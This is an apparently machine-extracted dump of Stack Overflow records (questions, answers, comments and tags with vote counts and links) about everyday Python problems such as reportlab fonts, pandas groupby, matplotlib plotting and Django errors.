http://stackoverflow.com/q/46925413
score: 4
tagged with: http://stackoverflow.com/tag/pdf
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/80801520
has answer: http://stackoverflow.com/a/57188213
type: Question
upvote count: 4
has comment: http://stackoverflow.com/comment/80799702
type: UnansweredQuestion
has title: Hindi font is not displaying correct hindi words in the created pdf using python reportlab pdf library
downvote count: 0
has body: I am using on reportlab pdf library in django framework in order to create pdf reports in hindi language.I am getting data from PostgreSql database as mention below format. waterdate month year rivername stationname distname 2011-06-22 00:00:00 June 2011 नयार मरोरा पौड़ी 2011-06-22 00:00:00 June 2011 गंगा हरिद्वार हरिद्वार 2011-06-22 00:00:00 June 2011 गंगा नरोरा/डी0एस0 बुलन्दशहर 2011-06-22 00:00:00 June 2011 गंगा फतेहगढ़ फर्रूखाबाद 2011-06-22 00:00:00 June 2011 गंगा गुमटिया कन्नौज I have written following code to display above table into pdf file. printing.py from reportlab.lib.pagesizes import letter,A4 from reportlab.platypus import SimpleDocTemplate,Paragraph,Table,TableStyle from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle from reportlab.lib.enums import TA_CENTER,TA_JUSTIFY from reportlab.pdfbase import pdfmetrics from reportlab.pdfbase.ttfonts import TTFont from .models import Rainfall pdfmetrics.registerFont(TTFont('Hindi1', 'gargi.ttf')) class printReport: def rainfall_report(self): buffer = self.buffer doc = SimpleDocTemplate(self.buffer,rightMargin=10,leftMargin=10,topMargin=25,bottomMargin=25,pagesize=self.pagesize) styles = getSampleStyleSheet() styles.add(ParagraphStyle(name="TableHeader",alignment=TA_CENTER,)) styles.add(ParagraphStyle(name="ParagraphTitle", fontSize='11',alignment=TA_JUSTIFY,fontName="FreeSansBold")) styles.add(ParagraphStyle(name="Justify", fontSize='11',alignment=TA_JUSTIFY,fontName="FreeSansBold")) data = [] data.append(Paragraph( 'Rainfall Data', styles['Title'])) data.append(Spacer(1,12)) table_data =[] table_data.append([ Paragraph('Date', styles['TableHeader']), Paragraph('Month', styles['TableHeader']), Paragraph('Year',styles['TableHeader']), Paragraph('River Name',styles['TableHeader']), Paragraph('Station Name',styles['TableHeader']), Paragraph('District Name',styles['TableHeader']) ]) rainfall_data = Rainfall.objects.all()[:10] for rainfall in rainfall_data: table_data.append([ rainfall.waterdate, rainfa…
has comment: http://stackoverflow.com/comment/124194891
tagged with: django
tagged with: python

http://stackoverflow.com/q/46927347
favorite count: 0
has title: Append line to previous line when it starts with '200'
type: Question
has answer: http://stackoverflow.com/a/46927487
has body: My Problem is the following: I have a csv-file with lines that normally start with '200'. In this file there are unwanted linebreaks. E.g. 200 Peter Pan 200 John Smith 200 Susan Murray 200 Harald Williams 200 Liam Noah That's how the file should look at the end: 200 Peter Pan 200 John Smith 200 Susan Murray 200 Harald Williams 200 Liam Noah So whenever a line does not start with '200' it should be appended to the previous line. I hope this should be quite easy with Python but I'm not getting it right so far.
possible better answer: http://stackoverflow.com/a/46930500
has answer: http://stackoverflow.com/a/46930500
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80801558
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80801969
has comment: http://stackoverflow.com/comment/80801531
downvote count: 1
has answer: http://stackoverflow.com/a/46931584
accepted answer: http://stackoverflow.com/a/46927487
answer count: 4
has answer: http://stackoverflow.com/a/46927444

http://stackoverflow.com/q/46968092
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46971576
has answer: http://stackoverflow.com/a/46968336
possible better answer: http://stackoverflow.com/a/46968336
answer count: 3
downvote count: 0
score: 1
upvote count: 1
tagged with: scripting
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46968272
accepted answer: http://stackoverflow.com/a/46968272
has title: How to make output to a single line from multi line. Can we do it using generators as well?
tagged with: python
has body: Please have a look to the below output :- Software_Engineer: Networking Software_Engineering Computer_Graphics Development Design Mechanical_Engineer: Automata (There is a new line character here) I want output should be as :- Software_Engineer: Networking Software_Engineering Computer_Graphics Development Design Mechanical_Engineer: Automata I wrote below code in python as of now :- with open("split_module.txt") as f: all_lines = f.readlines() keys_col1 = [] values_col2 = [] for ids, values in enumerate(all_lines): if ":" in all_lines[ids] and all_lines[ids+1] != "\n": keys_col1.append(values.strip()) for value in keys_col1: print(value) I am now getting output as :- Software_Engineer: Software_Engineer: Mechanical_Engineer: Here, Why "Software_Engineer:" is repeating two times and how can I able to get output as :- Software_Engineer: Networking Software_Engineering Computer_Graphics Development Design Mechanical_Engineer: Automata Please suggest as I am new to Python.... Thanks..!!

http://stackoverflow.com/q/46945113
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/9543211
tagged with: sorting
score: 0
answer count: 3
linked to: http://stackoverflow.com/q/12814667
has comment: http://stackoverflow.com/comment/80837574
tagged with: python
has title: If the value of list 1 is the index of list 2, how can I sort list 1 according to the list 2 value
has answer: http://stackoverflow.com/a/46945235
has body: Suppose there is a list a[i] which stores index value v, v is the index value of another list b[v]. I want to according to the values of list b to sort the list a. For example a=[0,2,3,1] b=[7,10,8,6] I want the list a become a=[1,2,0,3], is there some concise way to sort list a?
linked to: http://stackoverflow.com/q/9543211
type: Question
has answer: http://stackoverflow.com/a/46945180
has answer: http://stackoverflow.com/a/46945183
duplicate of: http://stackoverflow.com/q/12814667

http://stackoverflow.com/q/47053270
type: AnsweredQuestion
has title: Python Pandas: Apply custom function to just one groupby column
has body: I'm referring to this post where one custom lambda function is applied to one specific column during the aggregate step while grouping. In [67]: f = {'A':['sum','mean'], 'B':['prod'], 'D': lambda g: df.ix[g.index].E.sum()} In [69]: df.groupby('GRP').agg(f) Out[69]: A B D sum mean prod &lt;lambda&gt; GRP 0 0.719580 0.359790 0.102004 1.170219 1 0.454824 0.227412 0.034060 1.182901 I'm interested if this is possible without specifying column A and B explicitly. I'm looking for a way where a standard method like sum or mean is applied to all columns except column D and the custom lambda function is applied to column D only. Something like this: f = {'sum', 'D': lambda g: df.ix[g.index].E.sum()}
has answer: http://stackoverflow.com/a/47053313
tagged with: dataframe
tagged with: python
score: -1
linked to: http://stackoverflow.com/q/14529838
upvote count: 0
tagged with: pandas-groupby
tagged with: pandas
accepted answer: http://stackoverflow.com/a/47053313
answer count: 1
downvote count: 1
type: Question
favorite count: 0
tagged with: python-3.x

http://stackoverflow.com/comment/80784829
score: 0
type: QuestionComment
has text: @schwobaseggl haha, yes! I have no idea what I was thinking. :-)
comment on: http://stackoverflow.com/q/46918272
type: Comment

http://stackoverflow.com/comment/81040740
comment on: http://stackoverflow.com/q/47039720
score: 0
has text: the issue is what I mentioned in the answer ,did it not help
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/80976571
score: 3
type: Comment
type: QuestionComment
has text: The [pypi listing for `num2words`](https://pypi.python.org/pypi/num2words) suggests using `ordinal=True`, with `num2words(42, ordinal=True)` returning `forty-second`.
comment on: http://stackoverflow.com/q/47015139

http://stackoverflow.com/q/46957757
has answer: http://stackoverflow.com/a/48048658
answer count: 1
downvote count: 0
favorite count: 0
type: Question
has body: I am trying to call an image from a simple python script in qpython but get the error message: qpython android IOError: [Erno 2] No such file or directory I am wondering if I am using the correct directory convention? here is the code: import numpy as np from PIL import Image spinner = { 1: Image.open('storage/emulated/0/qpython/scripts/shapes/norm.jpg','r'), 2: Image.open('storage/emulated/0/qpython/scripts/shapes/square.jpg','r'), 3: Image.open('storage/emulated/0/qpython/scripts/shapes/fly.jpg','r'), 4: Image.open('storage/emulated/0/qpython/scripts/shapes/tri.jpg','r'), 5: Image.open('storage/emulated/0/qpython/scripts/shapes/special.jpg','r'), 6: Image.open('storage/emulated/0/qpython/scripts/shapes/rect.jpg','r'), 7: Image.open('storage/emulated/0/qpython/scripts/shapes/salad.jpg','r'), 8: Image.open('storage/emulated/0/qpython/scripts/shapes/circle.jpg','r'), 9: Image.open('storage/emulated/0/qpython/scripts/shapes/banana.jpg','r') } It throws the same error without the 'r' argument. Also tried double fwd &amp; back slashes...
tagged with: compiler-errors
upvote count: 2
tagged with: qpython
type: UnansweredQuestion
has title: qpython android IOError: [Erno 2] No such file or directory
tagged with: python
score: 2
tagged with: python-imaging-library

http://stackoverflow.com/q/47000011
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80946651
has answer: http://stackoverflow.com/a/47000100
has answer: http://stackoverflow.com/a/47000077
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47000120
tagged with: python
score: -1
has title: python3 how to get the parent of a directory
has comment: http://stackoverflow.com/comment/80946778
has comment: http://stackoverflow.com/comment/80946850
has comment: http://stackoverflow.com/comment/80946640
answer count: 3
has body: From my current script, I want to go to the sibling of parent. For example, my scriptA.py file is inside directory -DirA | |-ScriptA | -DirB |-FileB |-FileC In this example, I have tried to represent the folder structure. I want to access the FileB/ FileC from ScriptA. So basically, I will first go to the DirB and then access them as these directories are also created dynamically hence hard-coding these will not work.
downvote count: 2
upvote count: 1

http://stackoverflow.com/comment/80989467
comment on: http://stackoverflow.com/q/47021118
type: QuestionComment
type: Comment
has text: In the line `output = np.empty((mc-kc+1, mr-kr+1, 3))`, you are using `mc` instead of `mcm`. Did you mean to use `mcm` here, which is from the 3d matrix? Or, change `mr, mcm, mdim = matrix.shape` to `mr, mc, mdim = matrix.shape`
score: 0

http://stackoverflow.com/q/46983176
duplicate of: http://stackoverflow.com/q/24878174
downvote count: 2
has title: how to count the letters in a string?
tagged with: python
score: -1
upvote count: 1
linked to: http://stackoverflow.com/q/24878174
has answer: http://stackoverflow.com/a/46983265
favorite count: 0
type: Question
tagged with: python-3.x
answer count: 2
has body: how do I code a program that would produce this below? As an example, the following code fragment: print (count_letters("ab1c2d345")) should produce the output: 4
has answer: http://stackoverflow.com/a/46983207
type: UnansweredQuestion

http://stackoverflow.com/comment/80783273
score: 0
has text: Some issues - 1) `is_isomorphic` does not "only compare node attributes" (though I don't think `is_isomorphic` will do what you want to do). 2) your class will need to be hashable (since networkx stores the graph as a dict). 3) It's not clear to me why the second should return `False`.
type: Comment
comment on: http://stackoverflow.com/q/46917282
type: QuestionComment

http://stackoverflow.com/a/46967277
has comment: http://stackoverflow.com/comment/80941634
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80941574
has body: You can use multithreading: import threading def f1(): while True: print(recieve_message()) #this waits for the message def f2(): while True: send_message(input()) #this also waits for the input threading.Thread(target=f1).start() threading.Thread(target=f2).start()
type: Answer
answers question: http://stackoverflow.com/q/46967186
has comment: http://stackoverflow.com/comment/80881928
score: 2
accepted answer of: http://stackoverflow.com/q/46967186
upvote count: 2

http://stackoverflow.com/comment/81044050
type: QuestionComment
comment on: http://stackoverflow.com/q/47048098
score: 1
type: Comment
has text: I can't see any benefit to this. Scrape 1-x and adjust any other documentation to accommodate this. Simpler yet, scrape one single element to the columns. Much simpler.

http://stackoverflow.com/q/46912100
has title: Show x-ticks on all subplots and unique y label
has body: I am plotting two subplots that share the same x-axis but when I plot I only see the x-axis ticks on the second subplot. How can I make the x-ticks visible on both subplots? Also I would like to set y-labels for both subplots but only the second is visible. Can you please help in displaying the y-label on both subplots? Below is my reproducible code. #!/usr/bin/python3 import pandas as pd desired_width = 1500 pd.set_option('display.width', desired_width) import matplotlib.pyplot as plt import numpy as np df = pd.DataFrame([{'DATETIME': '2017-09-29 01:00,', 'Population': 1000, 'Temp': 90, 'State': 'California'}, {'DATETIME': '2017-09-29 01:00,', 'Population': 2000, 'Temp': 70, 'State': 'Illinois'}, {'DATETIME': '2017-09-29 01:00,', 'Population': 3000, 'Temp': 50, 'State': 'Georgia'}, {'DATETIME': '2017-09-29 02:00,', 'Population': 2000, 'Temp': 40, 'State': 'California'}, {'DATETIME': '2017-09-29 02:00,', 'Population': 6000, 'Temp': 20, 'State': 'Illinois'}, {'DATETIME': '2017-09-29 02:00,', 'Population': 4000, 'Temp': 30, 'State': 'Georgia'}, {'DATETIME': '2017-09-29 03:00,', 'Population': 3000, 'Temp': 40, 'State': 'California'}, {'DATETIME': '2017-09-29 03:00,', 'Population': 4000, 'Temp': 60, 'State': 'Illinois'}, {'DATETIME': '2017-09-29 03:00,', 'Population': 2000, 'Temp': 80, 'State': 'Georgia'}]) df.index = df['DATETIME'] df.index = (pd.to_datetime(df.index)).strftime("%m/%d %H:00") fig, axes = plt.subplots(nrows=2, ncols=1, sharex=True) df.groupby('State')['Population'].plot(kind='line', linestyle='--', alpha=0.5, marker='o', legend=True, ax=axes[0]) plt.ylabel('Pop') df.groupby('State')['Temp'].plot(kind='line', linestyle='--', alpha=0.5, marker='o', legend=True, ax=axes[1]) plt.ylabel('Temp') plt.tick_params(axis='both', which='both', labelsize=7) plt.tight_layout() plt.show() Current Chart Output:
tagged with: subplot
tagged with: python
has answer: http://stackoverflow.com/a/46912461
answer count: 4
type: AnsweredQuestion
downvote count: 0
tagged with: pandas
tagged with: matplotlib
has answer: http://stackoverflow.com/a/46912439
has comment: http://stackoverflow.com/comment/80771649
has answer: http://stackoverflow.com/a/46912720
accepted answer: http://stackoverflow.com/a/46912439
score: 8
upvote count: 8
possible better answer: http://stackoverflow.com/a/46912720
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46912446

http://stackoverflow.com/comment/80954335
type: Comment
comment on: http://stackoverflow.com/a/47003818
score: 0
type: AnswerComment
has text: @MakaloneLOgman, according to [the Python docs](https://docs.python.org/3.3/howto/unicode.html), "Since Python 3.0, the language features a `str` type that contain Unicode characters, meaning any string created using "unicode rocks!", 'unicode rocks!', or the triple-quoted string syntax is stored as Unicode."

http://stackoverflow.com/comment/80849590
comment on: http://stackoverflow.com/a/46948951
type: Comment
type: AnswerComment
score: 1
has text: I tried but still got the same error. What could the reason be?

http://stackoverflow.com/a/47049679
type: Answer
has body: It seems like session["logged_in"] may be None. Attempting to index into None will raise that error. To fix this, I would use logged_in = session.get('logged_in', {}). And then user_loggedin = logged_in.get('username', None). Then assert self.assertNotEqual(logged_in, {})
score: 0
answers question: http://stackoverflow.com/q/47049276

http://stackoverflow.com/a/47039089
upvote count: 2
answers question: http://stackoverflow.com/q/47034892
has comment: http://stackoverflow.com/comment/81173662
downvote count: 0
has comment: http://stackoverflow.com/comment/81080387
has comment: http://stackoverflow.com/comment/81173635
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81187975
has comment: http://stackoverflow.com/comment/81179841
has comment: http://stackoverflow.com/comment/81179995
accepted answer of: http://stackoverflow.com/q/47034892
score: 2
has body: As you may read here, value parameter sets a value by which a variable should be initialized. So when you call tf.global_variables_initializer().run() your states are initialized with values defined here: new_h = K.variable(value=np.ones((1, 10))) new_c = K.variable(value=np.ones((1, 10))+1) Edit: It seemed obvious for me but once again I will explain why reset_states doesn't work. Variable definition: When you defined your inner states to be variables initialized by a certain value the n this certain vaklue will be set every time you call variable_initializer. Reset states: it will update a current value of this variable but it will not change a default value of initializer. In order to do that you need to reassign this states by yet another variable with a given states set as default.
has comment: http://stackoverflow.com/comment/81177469
has comment: http://stackoverflow.com/comment/81173721
type: Answer

http://stackoverflow.com/q/46948053
has comment: http://stackoverflow.com/comment/80843734
has answer: http://stackoverflow.com/a/46948915
has comment: http://stackoverflow.com/comment/80843392
has answer: http://stackoverflow.com/a/46949353
type: AnsweredQuestion
duplicate of: http://stackoverflow.com/q/28577924
score: 1
upvote count: 5
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/80844729
accepted answer: http://stackoverflow.com/a/46949353
has title: How to hide some dots in a matplotlib scatter?
favorite count: 0
type: Question
has body: import matplotlib.pyplot as plt import numpy as np y = np.random.rand(100) plt.scatter(list(range(100)), y) The commend above will draw a scatter with matplotlib. Suppose I want to hide the points whose values are less than 0.5. At the same time, I should remain the x-axis unchanged. How should I do it?
answer count: 2
downvote count: 4
has comment: http://stackoverflow.com/comment/80843340
has comment: http://stackoverflow.com/comment/80843428
has comment: http://stackoverflow.com/comment/80843491
linked to: http://stackoverflow.com/q/28577924
possible better answer: http://stackoverflow.com/a/46948915
tagged with: python

http://stackoverflow.com/comment/139724661
score: 0
has text: @grawity_u1686 No, the OP said receive.
type: Comment
comment on: http://stackoverflow.com/q/47034219
type: QuestionComment

http://stackoverflow.com/comment/80775903
comment on: http://stackoverflow.com/q/46913392
type: Comment
score: 1
type: QuestionComment
has text: I see you updated your question with the output from the beat scheduler. It looks like you're using the default `celery.beat.PersistentScheduler`. [According to the docs](http://docs.celeryproject.org/en/latest/userguide/periodic-tasks.html#using-custom-scheduler-classes), for this extension, you want to use the Database scheduler. So perhaps try adding the option to specify the Database Scheduler as the documentation suggests `--scheduler django_celery_beat.schedulers:DatabaseScheduler`. See if this makes a difference. Also, don't forget to perform database migrations.

http://stackoverflow.com/a/46996418
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/46996393
score: 1
type: Answer
has body: One way: class Model(object): def __init__(self, app): self.app = app self.hello = self.app.route("/hello")(self.hello) def hello(self): return "hello world!"

http://stackoverflow.com/q/46932661
has comment: http://stackoverflow.com/comment/80812455
possible better answer: http://stackoverflow.com/a/46932960
type: Question
upvote count: 2
answer count: 2
has answer: http://stackoverflow.com/a/46932743
has title: 'max_length' must be a positive integer
accepted answer: http://stackoverflow.com/a/46932743
has comment: http://stackoverflow.com/comment/80812189
tagged with: django
tagged with: python
favorite count: 0
has answer: http://stackoverflow.com/a/46932960
type: AnsweredQuestion
has body: is there any way to figure out what file this error regard? serverad@ubuntu:~/django14_project/my_django15_project$ python manage.py runserver --traceback --settings=settings -v 3 Performing system checks... Unhandled exception in thread started by &lt;function wrapper at 0x7fc853a639b0&gt; Traceback (most recent call last): File "/usr/local/lib/python2.7/dist-packages/django/utils/autoreload.py", line 228, in wrapper fn(*args, **kwargs) File "/usr/local/lib/python2.7/dist-packages/django/core/management/commands/runserver.py", line 125, in inner_run self.check(display_num_errors=True) File "/usr/local/lib/python2.7/dist-packages/django/core/management/base.py", line 405, in check raise SystemCheckError(msg) django.core.management.base.SystemCheckError: SystemCheckError: System check identified some issues: ERRORS: events.SystemLog.text: (fields.E121) 'max_length' must be a positive integer. events.SystemLog.type: (fields.E121) 'max_length' must be a positive integer. System check identified 2 issues (0 silenced). Here is the System log module that our last programmer left behind class SystemLog(models.Model): user = models.ForeignKey(User, related_name='log_actions') chapter = models.ForeignKey(Chapter, null=True, blank=True, default=None, related_name="logs") affected = models.ForeignKey(User, related_name='log_entries', null=True, blank=True) type = models.CharField(max_length='20') text = models.CharField(max_length='100') date = models.DateTimeField(auto_now_add=True) read = models.BooleanField(default=False) is_personal = models.BooleanField(default=False)
tagged with: python-2.7
score: 1
downvote count: 1

http://stackoverflow.com/comment/80922276
comment on: http://stackoverflow.com/a/46971540
has text: I mean I've adjusted it right now. 10 minutes ago. Try the new code once again please.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/q/46973087
accepted answer: http://stackoverflow.com/a/46974347
has comment: http://stackoverflow.com/comment/80893543
type: Question
has answer: http://stackoverflow.com/a/46973173
possible better answer: http://stackoverflow.com/a/46973173
tagged with: function
has answer: http://stackoverflow.com/a/46974347
tagged with: python
has body: def extract_info(text, price): company_name = ['BMW','AUDI','MERCEDES','TOYOTA'] car_type = ['Saloon', 'Hatchback','Sedan'] if any(word in text for word in company_name): for word in company_name: matchWord = text.split() if word in matchWord: return (word) elif any(word in text for word in car_type): for word in car_type: matchWord = text.split() if word in matchWord: return (word) else: productType = re.search('car', text) if productType is not None: productvalue = productType.group(0) return (productvalue) numDoor = re.search('[0-9]-door',text) if numDoor is not None: matchDoor = numDoor.group(0) return (matchDoor) else: return ('No match') I am trying to return a value but, couldn't get all of the value . Although i am getting my output while printing them. I was using a string "A low maintenance, 5-door car that's safe" The code is fetching if the string get any of the word or match with regex.
has comment: http://stackoverflow.com/comment/80894039
has title: Returning Value
type: AnsweredQuestion
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/80893540

http://stackoverflow.com/comment/81024109
score: 2
type: Comment
comment on: http://stackoverflow.com/q/47038771
type: QuestionComment
has text: What's the question? "Any pointer" is quite broad.

http://stackoverflow.com/comment/80854511
score: 0
has text: @Paddy. Yes, he can. But the problem is unrelated, and also scikit docs [recommend to save scikit models with `joblib`](http://scikit-learn.org/stable/modules/model_persistence.html#persistence-example).
comment on: http://stackoverflow.com/q/46953584
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81056645
comment on: http://stackoverflow.com/a/47052881
has text: @JohnAnderson: Or you can try my solution by replacing `text` by `file`.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/46912685
has answer: http://stackoverflow.com/a/46912895
type: AnsweredQuestion
score: 0
tagged with: arrays
answer count: 1
has title: Python - Convert dataframe elements to np.arrays
has body: I have a dataframe df3 with one column that has the following format: df3 Out[196]: Utterances 0 23825 141520 79229147 135 1951822935 1 15162091514 2015 2 1851315229147 114 3 225189625 141135 1144 4 1325 31854920 31184 5 31854920 31184 6 2085185-5719 19151352089147 1514 1325 229191 7 2085185 919 114 11618 129115 2015 3151329145 2... 8 185351420 193113 21815115 9142015 1325 3151316... 9 851216 2015 7520 1325 6152118 8211441854 41512... 10 31143512 15184518 11 31143512 15184518 12 13315211420 172151825 13 229191 14 16518191514112 15 9 15235 1514 19516205132518 20235142025 149142... 16 9 14554 2015 69144 152120 2385185 1325 14523 3... What I need is to create a numpy array arr that will have the following format: array=[[23825, 141520, 79229147, 135, 1951822935], [15162091514, 2015], [1851315229147, 114], [.....]] Moreover, the approach: df3.values will not work, since the output is the following: array([['23825 141520 79229147 135 1951822935'], ['15162091514 2015'], ['1851315229147 114'], [....]], Any help is appreciated, thank you.
type: Question
has comment: http://stackoverflow.com/comment/80772685
tagged with: dataframe
tagged with: python
tagged with: numpy
accepted answer: http://stackoverflow.com/a/46912895
tagged with: pandas

pip
tags question: http://stackoverflow.com/q/47056308
tags question: http://stackoverflow.com/q/47056147
tags question: http://stackoverflow.com/q/46959873
tags question: http://stackoverflow.com/q/47059526
tags question: http://stackoverflow.com/q/47010680
tags question: http://stackoverflow.com/q/47001684
tags question: http://stackoverflow.com/q/46929519
tags question: http://stackoverflow.com/q/47019472
tags question: http://stackoverflow.com/q/47041416
tags question: http://stackoverflow.com/q/46923790
tags question: http://stackoverflow.com/q/47054856
tags question: http://stackoverflow.com/q/46948457
tags question: http://stackoverflow.com/q/46974818
tags question: http://stackoverflow.com/q/46982828
type: Tag
tags question: http://stackoverflow.com/q/46913465
tags question: http://stackoverflow.com/q/47024663
tags question: http://stackoverflow.com/q/47041569
tags question: http://stackoverflow.com/q/46936289
tags question: http://stackoverflow.com/q/46921805
tags question: http://stackoverflow.com/q/46918150
tags question: http://stackoverflow.com/q/46973667
tags question: http://stackoverflow.com/q/46968959
tags question: http://stackoverflow.com/q/46994855
tags question: http://stackoverflow.com/q/47055613
tags question: http://stackoverflow.com/q/46942585
tags question: http://stackoverflow.com/q/47031287
tags question: http://stackoverflow.com/q/46945036
tags question: http://stackoverflow.com/q/46945653
tags question: http://stackoverflow.com/q/47059647
tag name: pip
tags question: http://stackoverflow.com/q/47058464
tags question: http://stackoverflow.com/q/46992818
tags question: http://stackoverflow.com/q/46980181
tags question: http://stackoverflow.com/q/47002431
tags question: http://stackoverflow.com/q/46959072
tags question: http://stackoverflow.com/q/46922184
tags question: http://stackoverflow.com/q/46934037
tags question: http://stackoverflow.com/q/46989508
tags question: http://stackoverflow.com/q/47001138
tags question: http://stackoverflow.com/q/46967488
tags question: http://stackoverflow.com/q/47053804

trading
tags question: http://stackoverflow.com/q/47042192
type: Tag
tag name: trading

http://stackoverflow.com/q/46971808
favorite count: 0
has answer: http://stackoverflow.com/a/46986608
type: Question
has comment: http://stackoverflow.com/comment/80893402
has title: Multiple Output Vectors for a single Input in Keras
has body: I want to create a Neural Network in Keras for converting handwriting into computer letters. My first step is to convert a sentence into an Array. My Array has the shape (1, number of letters,27). Now I want to input it in my Deep Neural Network and train. But how do I input it properly if the dimension doesn't fit those from my image? And how do I achieve that my predict function gives me an output array of (1, number of letters,27)?
upvote count: 2
tagged with: python
accepted answer: http://stackoverflow.com/a/46986608
type: AnsweredQuestion
tagged with: deep-learning
score: 2
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/80893912
has comment: http://stackoverflow.com/comment/80911647
has comment: http://stackoverflow.com/comment/80894360
tagged with: keras
tagged with: ocr
tagged with: tensorflow

http://stackoverflow.com/q/46948328
type: Question
tagged with: python-3.x
answer count: 2
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has body: I've written some code using python to scrape some titles and price from a webpage and write the results in a csv file. The script is running awesome. As I'm appending data to a csv file the script is writing headers in such a way that if it runs 4 loops then the headers will be written 4 times. How to fix it so that the headers will be written once. Thanks. This is the script: import csv import requests from bs4 import BeautifulSoup diction_page = ['http://www.bloomberg.com/quote/SPX:IND','http://www.bloomberg.com/quote/CCMP:IND'] for link in diction_page: res = requests.get(link).text soup = BeautifulSoup(res,'lxml') title = soup.select_one('.name').text.strip() price = soup.select_one('.price').text print(title,price) with open('item.csv','a',newline='') as outfile: writer = csv.writer(outfile) writer.writerow(["Title","Price"]) writer.writerow([title, price])
accepted answer: http://stackoverflow.com/a/46948479
type: AnsweredQuestion
has title: Trouble dealing with header in a csv file
has comment: http://stackoverflow.com/comment/80844021
downvote count: 0
upvote count: 1
score: 1
tagged with: web-scraping
has answer: http://stackoverflow.com/a/46948479
has answer: http://stackoverflow.com/a/46948394
possible better answer: http://stackoverflow.com/a/46948394
favorite count: 0

http://stackoverflow.com/a/46917203
downvote count: 0
type: Answer
has body: You can, assuming you have PyCharm set to automatically produce spaces instead of tabs (which is default, as far as I know). In the menu: Code -&gt; Reformat Code with the top-level folder selected.
accepted answer of: http://stackoverflow.com/q/46917025
answers question: http://stackoverflow.com/q/46917025
upvote count: 2
score: 2
type: AcceptedAnswer

spyder
tag name: spyder
tags question: http://stackoverflow.com/q/47052861
tags question: http://stackoverflow.com/q/46995781
tags question: http://stackoverflow.com/q/46936969
type: Tag

http://stackoverflow.com/comment/81032426
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47042536
has text: Do you mean the random-looking classes like `cs2E86D3A6`? I guess you should pick an example and find the classes that correspond with the information you want to pull.

http://stackoverflow.com/q/46947053
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46947101
answer count: 3
tagged with: python
possible better answer: http://stackoverflow.com/a/46947111
has title: How to display the column names on group by result in Python when writing into CSV file?
has answer: http://stackoverflow.com/a/46947111
has answer: http://stackoverflow.com/a/46947120
score: 2
upvote count: 2
accepted answer: http://stackoverflow.com/a/46947120
type: AnsweredQuestion
has body: I have an input data like this, ID days 1 02 1 24 2 12 3 10 Expected result in csv file should be ID Avg. days 1 13 2 12 3 10 with my code, I am able to get only the mean value , not able to get ID. But I need it both. ID = tempx.groupby('ID')['days'].mean() ID.to_csv("file1.csv", sep=',',encoding='utf-8',index = False) will anyone please help me how to get the columns as header with group by result?
downvote count: 0
tagged with: pandas

point
type: Tag
tag name: point
tags question: http://stackoverflow.com/q/47005884

http://stackoverflow.com/comment/115070656
comment on: http://stackoverflow.com/a/47062598
type: Comment
has text: Probably the fact that this reads the whole file into a string instead of iterating the file line-by-line...
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81099694
comment on: http://stackoverflow.com/q/47060685
has text: @krammer InvalidArgumentError (see above for traceback): Cannot assign a device for operation 'deconv5/bn/deconv5/bn/moments/Squeeze_1/ExponentialMovingAverage': Operation was explicitly assigned to /device:GPU:0 but available devices are [ /job:localhost/replica:0/task:0/cpu:0 ]. Make sure the device specification refers to a valid device. [[Node: deconv5/bn/deconv5/bn/moments/Squeeze_1/ExponentialMovingAverage = VariableV2[_class=["loc:@deconv5/bn/deconv5/bn/moments/Squeeze_1/ExponentialMovingAverage"], container="", dtype=DT_FLOAT, shape=[1], shared_name="", _device="/device:GPU:0"]()]
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/46964246
linked to: http://stackoverflow.com/q/1012185
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46964881
answer count: 3
score: 1
duplicate of: http://stackoverflow.com/q/1012185
possible better answer: http://stackoverflow.com/a/46964336
downvote count: 0
upvote count: 1
accepted answer: http://stackoverflow.com/a/46964386
favorite count: 0
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/46964386
has title: I would like to plot specific elements from a list, that are indicated by another list
tagged with: matplotlib
has body: x and y are lists of 50 elements. SV is a list with 4 elements. I would like to plot only the elements of x,y that are in positions SV. For example if SV=[3,7,10,15] I would like to plot only x[3],x[7],x[10],x[15] and y[3],y[7],y[10],y[15]. Thus, the list SV indicate the position (not the value) of x,y that I want to plot. I tried something like this but I didn't manage to do it: plt.scatter(x[SV],y[SV])
tagged with: python
has answer: http://stackoverflow.com/a/46964336

http://stackoverflow.com/q/46952624
score: 0
tagged with: chatbot
has title: Speeding up chat bot replies in django python
answer count: 1
tagged with: celery
type: Question
accepted answer: http://stackoverflow.com/a/46957160
has body: I have made a chat bot in django python which listens via Http requests. Certain chat channels, such as slack, require an immediate 200OK http response from the server. Hence I register a celery task (into a queue) to return http 200OK instantly and let the reply be processed in background. It is taking 3-4 seconds in production (SQS based) for the bot's reply to be received by the end user. Through logs I have found out that the delay is in the task to reach the celery worker. I want to make my chat bot's replies to come really fast when a user types in a message and am looking for a faster alternative to celery for this specific use case. Thank you! Note that I do not want to use slack's RTM api because I do not intend to make my bot slack specific.
has answer: http://stackoverflow.com/a/46957160
tagged with: django
tagged with: python
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/18420699

http://stackoverflow.com/comment/80918668
score: 0
type: Comment
type: QuestionComment
has text: Please post the full stack trace for the error.
comment on: http://stackoverflow.com/q/46985372

http://stackoverflow.com/q/47026298
